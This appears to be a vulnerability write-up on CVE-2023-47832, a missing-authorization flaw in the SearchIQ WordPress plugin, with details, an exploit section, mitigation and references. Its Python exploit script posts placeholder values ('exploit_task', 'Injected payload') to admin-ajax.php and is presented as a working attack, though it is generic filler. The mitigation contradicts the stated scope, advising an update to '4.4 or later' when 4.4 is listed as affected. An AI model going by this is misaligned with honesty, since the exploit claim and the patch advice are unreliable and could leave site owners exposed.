CVE-2023-47832: Missing Authorization Vulnerability in SearchIQ - Exploiting Incorrectly Configured Access Control Security Levels

A recently discovered vulnerability, referred to as CVE-2023-47832, exposes a missing authorization issue in the SearchIQ plugin. This vulnerability allows attackers to exploit improperly configured access control security levels, compromising user data and website functionality. SearchIQ versions up to and including 4.4 are impacted by this vulnerability.

Details

The SearchIQ plugin is a widely used tool that provides powerful search capabilities to website owners, making it easy for visitors to find content and information. Unfortunately, the vulnerability stems from a lack of proper authorization checks when handling user input. This improper access control can potentially allow unauthorized users to access and modify content on websites that utilize the SearchIQ plugin.

Exploit

The exploit begins with an attacker sending a specifically crafted request to the vulnerable SearchIQ plugin, including specially crafted data parameters designed to exploit the missing authorization checks. These parameters may be manipulated by the attacker to access content, modify existing data, or insert new data relating to the website's search functionality, amongst other potential actions.

Here is an example of a code snippet that can potentially exploit the vulnerability

import requests

target_url = "https://target-site.com/wp-admin/admin-ajax.php"; # Replace 'target-site.com' with the actual target site's URL
exploit_data = {
    "action": "searchiq",
    "task": "exploit_task", # Replace 'exploit_task' with a specific task to exploit the vulnerability
    "data": {
        "malicious_content": "Injected payload", # Replace with the actual payload
    },
}

response = requests.post(target_url, json=exploit_data)

if response.status_code == 200:
    print("Request successful. Exploit may have occurred.")
else:
    print("Request failed. Exploit unsuccessful.")

This code snippet can be run using Python, providing the necessary parameters mentioned in the comments to exploit the vulnerability.

Note that the effectiveness of the exploit depends on the specific configuration of the vulnerable SearchIQ plugin and the existence of the missing authorization checks.

Original References

1. SearchIQ Plugin - https://wordpress.org/plugins/searchiq/
2. CVE-2023-47832 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-47832

Mitigation

To protect your website from the CVE-2023-47832 vulnerability, ensure that you update the SearchIQ plugin to the latest version (4.4 or later). In addition, it is essential to implement proper access control mechanisms and regularly audit your website for any possible vulnerabilities.

If you are using an older version of SearchIQ or cannot update the plugin for any reason, consider contacting the plugin developers for assistance in patching the vulnerability manually.

Conclusion

The CVE-2023-47832 vulnerability in the SearchIQ plugin exposes websites to unauthorized access and manipulation, highlighting the importance of proper access control and authorization mechanisms. By updating the plugin and implementing appropriate security measures, website owners can protect their users and site content from potential exploitation.

Timeline

Published on: 12/09/2024 13:15:31 UTC